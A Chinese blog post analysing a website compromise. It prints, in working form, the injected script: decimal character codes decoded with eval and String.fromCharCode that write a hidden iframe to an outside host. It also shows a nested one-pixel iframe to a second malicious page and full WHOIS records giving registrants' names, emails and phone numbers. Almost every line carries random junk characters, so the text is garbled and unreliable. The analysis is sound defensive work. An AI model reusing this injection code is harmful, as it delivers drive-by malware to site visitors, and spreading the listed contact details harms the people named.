首发在我的博客里面，
r9 y.i(j !%<^K.wG http://www.areway.cn/?p=175 ulHn#) 8 S`9dSc .N4 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
.UCt|> $ egR9AEJvz <script>t=’60,105,102,114,97,109,101,
O [17";P 32,115,114,99,61,104,116,116,112,58,47,47,
s}&bJ"!Z 102,114,101,101,46,117,45,117,117,117,46,99,
RI M `omM 110,47,101,114,114,111,114,46,104,116,109,
g o5]<4`r 32,119,105,100,116,104,61,49,48,48,32,104,
F-(dRSDNM 101,105,103,104,116,61,48,62,60,47,105,102,
T`/IO.2 114,97,109,101,62′;
SDG-~(Y t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
x)rlyjFM Uv_N x10 <script>t=’60,105,102,114,97,109,101,32,115,
PMs z` 114,99,61,104,116,116,112,58,47,47,102,114,
XB hb`AG 101,101,46,117,45,117,117,117,46,99,110,47,
@Fv=u 101,114,114,111,114,46,104,116,109,32,119,
){s*n=KIO 105,100,116,104,61,49,48,48,32,104,101,105,
:Br5a34q 103,104,116,61,48,62,60,47,105,102,114,97,
<O?y-$~ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
;cQW sTfT document.write(t);</script>
_,Fny_u=; _fFU#k:MU <html xmlns=”
1PaUI#X"2F http://www.w3.org/1999/xhtml A \rt6/ “>
<HWS:'1 <head>
gIWrlIV{9 <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
mAgF73,3 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
J`M&{U P <title>首页 - 爱生活家庭网
|XYEn7^r eC
DIwB28 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
8GPIZh'0 h 转换字符串后的大概内容是（谁点击后果自付）：
\2[<XG(^ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
T G48%L =+5,B\~q@C 查询玉米u-uuu.cn的详细信息：
"\"DCDKmG Domain Name: u-uuu.cn
Eu}b8c ROID: 20070901s10001s64972306-cn
5 /",<1 Domain Status: ok
. Hhh i Registrant Organization: 王雷
pN6%&@) = Registrant Name: 王雷
x"kjs.d7[< Administrative Email:
czlovexs@126.com J; t 7&Zpe Sponsoring Registrar: 北京万网志成科技有限公司
} F6<w{| Name Server:ns.yovole.com
) / Ud^wi Name Server:ns1.yovole.com
r r`;W}3 Registration Date: 2007-09-01 17:54
d|9b~_::V Expiration Date: 2008-09-01 17:54
PW(\4Q\ 最后PING了一下地址 都没有什么….
rjt8fN ;?fS(Vz~ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
.@)mxC:\K9 <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
lA!"z~03* <script language=”javascript” src=”
5cr(S~Q; http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script &hHW3Q(1 >
4rK{-jvh>m 这个玉米应该有可能是木马作者的：
D(W,yq~7uY foafau.info的详细信息：
`Ycf]2.,$ Access to INFO WHOIS information is provided to assist persons in
+ 1JH determining the contents of a domain name registration record in the
p1pQU={< Afilias registry database. The data in this record is provided by
u*S=[dq Afilias Limited for informational purposes only, and Afilias does not
Y&H}xn guarantee its accuracy. This service is intended only for query-based
gieN9S access. You agree that you will use this data only for lawful purposes
L(S'6z~_9 and that, under no circumstances will you use this data to: (a) allow,
z2 gk[zY& enable, or otherwise support the transmission by e-mail, telephone, or
s1Ok |31| facsimile of mass unsolicited, commercial advertising or solicitations
V~DMtB7 to entities other than the data recipient’s own existing customers; or
SEw ku } (b) enable high volume, automated, electronic processes that send
5FVndMM#y queries or data to the systems of Registry Operator, a Registrar, or
:%&Q-kk4! Afilias except as reasonably necessary to register domain names or
M6 9
w- modify existing registrations. All rights reserved. Afilias reserves
B 3m_D"? the right to modify these terms at any time. By submitting this query,
5[l8y , you agree to abide by this policy.
{U]H; ~3 ? Domain ID:D22418703-LRMS
zIC;7 5# Domain Name:FOAFAU.INFO
E9\v A*a Created On:20-Nov-2007 16:05:42 UTC
' # NcZy Last Updated On:20-Nov-2007 16:05:44 UTC
e<7.y#L Expiration Date:20-Nov-2008 16:05:42 UTC
YG:3Fhx0~ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
M$ 4k; Status:CLIENT DELETE PROHIBITED
e"]8T }, Status:CLIENT RENEW PROHIBITED
5 hj
Status:CLIENT TRANSFER PROHIBITED
VpfUm?Nq Status:CLIENT UPDATE PROHIBITED
[u@Jc , Status:TRANSFER PROHIBITED
0<"k8
k@J Registrant ID:GODA-040110615
<tpmUA[] Registrant Name:liu hong
'crlA~&#/ Registrant Organization:
Us Ga Registrant Street1:beijing
5wB => Registrant Street2:
[L`ZE *z Registrant Street3:
~I/@i Registrant City:beijing
M}:=zcZ l Registrant State/Province:
+;BAV Registrant Postal Code:100000
j hY ToMq Registrant Country:CN
_LP/!D Registrant Phone:+86.860108888777
X)SDG#&+bF Registrant Phone Ext.:
mE O \r|A Registrant FAX:
8,D 2^Gg Registrant FAX Ext.:
(@X~VACT Registrant Email:bbbshiji@163.com
q/3ziVd7p Admin ID:GODA-240110615
T lAR.cV Admin Name:liu hong
R2etB*k6[ Admin Organization:
k 4/D8(OXw Admin Street1:beijing
@WH@^u Admin Street2:
d\MLOXnLq; Admin Street3:
`
8W* Admin City:beijing
N#V.1<Y Admin State/Province:
m^' uipa\ Admin Postal Code:100000
lN,/3\B Admin Country:CN
5Dp#u Admin Phone:+86.860108888777
=4uSFK_L Admin Phone Ext.:
AIb2k Admin FAX:
1XG!$ 4DW Admin FAX Ext.:
OJT1d-5p Admin Email:bbbshiji@163.com
YzosZ! L!< Billing ID:GODA-340110615
4p%A8%/q Billing Name:liu hong
bn
6WjJ~Z+ Billing Organization:
J{ [n?/A { Billing Street1:beijing
QY/hI ` Billing Street2:
DU%w 1+u Billing Street3:
1}hIW":3Sr Billing City:beijing
4v
p Billing State/Province:
~/NKw: Billing Postal Code:100000
A,su;Q h Billing Country:CN
i'd2[ A.7I Billing Phone:+86.860108888777
KKA~#iCk Billing Phone Ext.:
f~E *Zz`; Billing FAX:
Vc^HVyAx@n Billing FAX Ext.:
$ VAx:Y| Billing Email:bbbshiji@163.com
j R=s#X z Tech ID:GODA-140110615
> 56>*BHD Tech Name:liu hong
$'W}aER Tech Organization:
&aM7T_h8 Tech Street1:beijing
ly% F."v Tech Street2:
ob+euCuJ Tech Street3:
!8 &=y Tech City:beijing
T5urZq*R Tech State/Province:
+% /s*EC'w Tech Postal Code:100000
3mPjpm Tech Country:CN
:^UFiUzrE Tech Phone:+86.860108888777
ys_ `e Tech Phone Ext.:
B1]bRxwn? Tech FAX:
zYXV; Tech FAX Ext.:
vVGDDDz / Tech Email:bbbshiji@163.com
_%'},Xd.z Name Server:NS27.DOMAINCONTROL.COM
gTRF^knrY Name Server:NS28.DOMAINCONTROL.COM
'
|-JWH Name Server:
wf, 7== Name Server:
TJE\A)|>g Name Server:
(E,T#uc{ Name Server:
!+u"3;%h Name Server:
P"s A Name Server:
V"cKJ;s Name Server:
f7Ul(D:j\ Name Server:
q&C""!h^ Name Server:
m*e{\)rd# Name Server:
zy* /T>{# Name Server:
-}K<ni6 9&< x17' 接着下载每个文件里面的代码：
B|o2K}%f 一步一步看..
\ OlmF<~ 
T843 ": 
F ~ Lx|)0M 
(EPsTox 
fs/*V~@ 
VDTcR 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
